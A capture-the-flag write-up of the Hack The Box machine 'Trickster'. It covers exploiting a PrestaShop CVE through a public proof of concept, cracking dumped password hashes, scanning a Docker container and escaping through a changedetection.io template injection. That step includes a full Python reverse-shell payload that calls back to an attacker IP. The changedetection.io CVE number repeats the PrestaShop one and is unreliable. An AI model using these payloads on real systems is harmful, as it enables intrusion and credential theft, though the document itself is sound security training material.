HTB Writeup - Trickster
Enumeration
As usual, start off with an nmap
scan to get a listing of open ports and running services on the target host.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The host is running a typical web server setup on Linux; port 22 for remote administration via SSH and port 80 for an Apache web server. The banner grabbing suggest that trickster.htb
should be added to our /etc/hosts
.
Additionally, start to kick of directory busting using:
feroxbuster -u http://trickster.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
And vhost
enumeration using:
ffuf -w /opt/SecLists/Discovery/DNS/dns-Jhaddix.txt:FUZZ -u http://trickster.htb/ -H 'Host: FUZZ.trickster.htb' -t 40 -fw 20
Looking around at the main page at http://trickster.htb
doesn’t reveal much initially but there is a link to shop.trickster.htb
so this must be added to the /etc/hosts
file as well.
The shop.trickster.htb
is a typical web store front with a bunch of products on sale. The website seems incomplete due to some lorum ipsum
text in parts of the page. Scrolling to the bottom reveals it is powered by some technology called PrestaShop
, https://www.prestashop-project.org/, which is an open-source solution for building e-commerce web applications.
feroxbuster
reveals that there is a .git
directory at the root of shop.trickster.htb
. We can use a tool like git-dumper
(https://github.com/arthaud/git-dumper) to download everything from this Git repository.
python3 git_dumper.py http://shop.trickster.htb/.git/ trickster_git -t 360
I used a timeout of 360
seconds because it kept failing with anything smaller. My guess is that the box does not handle load very well. I stored the results in the trickster_git
folder.
One thing we can glean from this is that the version of the PrestaShop application is 8.1.5 which means it is potentially vulnerable to https://ayoubmokhtar.com/post/png_driven_chain_xss_to_remote_code_execution_prestashop_8.1.5_cve-2024-34716/
Exploiting CVE-2024-34716
We can follow along entirely with the example exploit PoC, firstly starting with:
git clone [email protected]:aelmokhtar/CVE-2024-34716_PoC.git
There are many modifications needed to make this exploit work.
- Update the
reverse_shell.php
file with your IP and intended reverse shell port, then update the zip theme with this file using:
zip ps_next_8_theme_malicious.zip reverse_shell.php
- Edit
exploit.py
and take note of the intended web port for serving the zip file (or change it to a known one). - (Optional) change
ncat
tonc
- Edit
exploit.html
and make sure it contains your IP, port and the correct admin path taken from inside the.git
repository (hint: it’s the obvious weird looking directory).
Then we can run the exploit like so:
python3 exploit.py http://shop.trickster.htb '[email protected]' 'Help' ./exploit.html
And voila, we have a shell running as the www-data
user. Since this application must run a database, the first thing we should do is check for DB credentials and get access to the stored data. Looking at the documentation for PrestaShop reveals that it will have a parameters.php
file with the info we want. We can simply cat this find
this file and cat
it’s contents to know the password for the DB for the ps_user
account.
In the database, we can simply run:
use prestashop;
select email, passwd from ps_employees;
To get the root
account and the james
account hash. We can also see in the machine that james
is a local user so it’s probably the same dude. Cracking the password is trivial with hashcat
:
hashcat -O -m 3200 hash /usr/share/wordlists/rockyou.txt
With the cracked password for the james
account, we can then SSH into the machine and collect the first flag.
Privilege Escalation
Running ip a
shows that there is a docker0
interface with the IPv4 address of 172.17.0.1
.
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:f5:a7:06:a3 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
Typically, docker
adds new addresses sequentially, so if there is a container running, it’s likely on 172.17.0.2
. We can use a ping to determine if there is a host there:
ping -c 1 172.17.0.2
We get the result of:
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.136 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.136/0.136/0.136/0.000 ms
There is a host running there, but we don’t know what this is. We aren’t in the docker
group so we can work out easily what is being run. To interact with it, we can do a port scan as well:
for port in {1..10000}; do
(echo > /dev/tcp/172.17.0.2/$port) >/dev/null 2>&1 && echo "$port Open" &
done
We get told 5000 Open
so let’s do a local port forward to expose the port back to our attack host:
ssh -L 5000:172.17.0.2:5000 james@$target
Going to http://localhost:5000
reveals a changedetection.io
site with a prompt for a password. We only know james
so we can try that. It happens to work!
This application has a known vulnerability, CVE-2024-34716 which is an SSTI in the notification part of the watch functionality. We can stand up a web server using python:
python3 -m http.server 9091
We can then use our web server as the target URL of the new watch. When we edit the watch, we can edit the notification settings to set the notification URL to be gets://
and then change the notification body to be:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.82\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Triggering the watch, and touching a file in the web server directory will trigger the exploit. We can catch the shell the usual way with nc
.
We get a shell as root
inside the container. We can see the bash_history
file is not symlinked to /dev/null
so the container does have history of commands being run on the container. It looks like someone made a mistake when entering their password and entered it directly into the command line…
We can take this password and try to su root
on the main host and we are successful! The root
account’s password has been reused inside the container, and accidentally found it’s way into the .bash_history
file.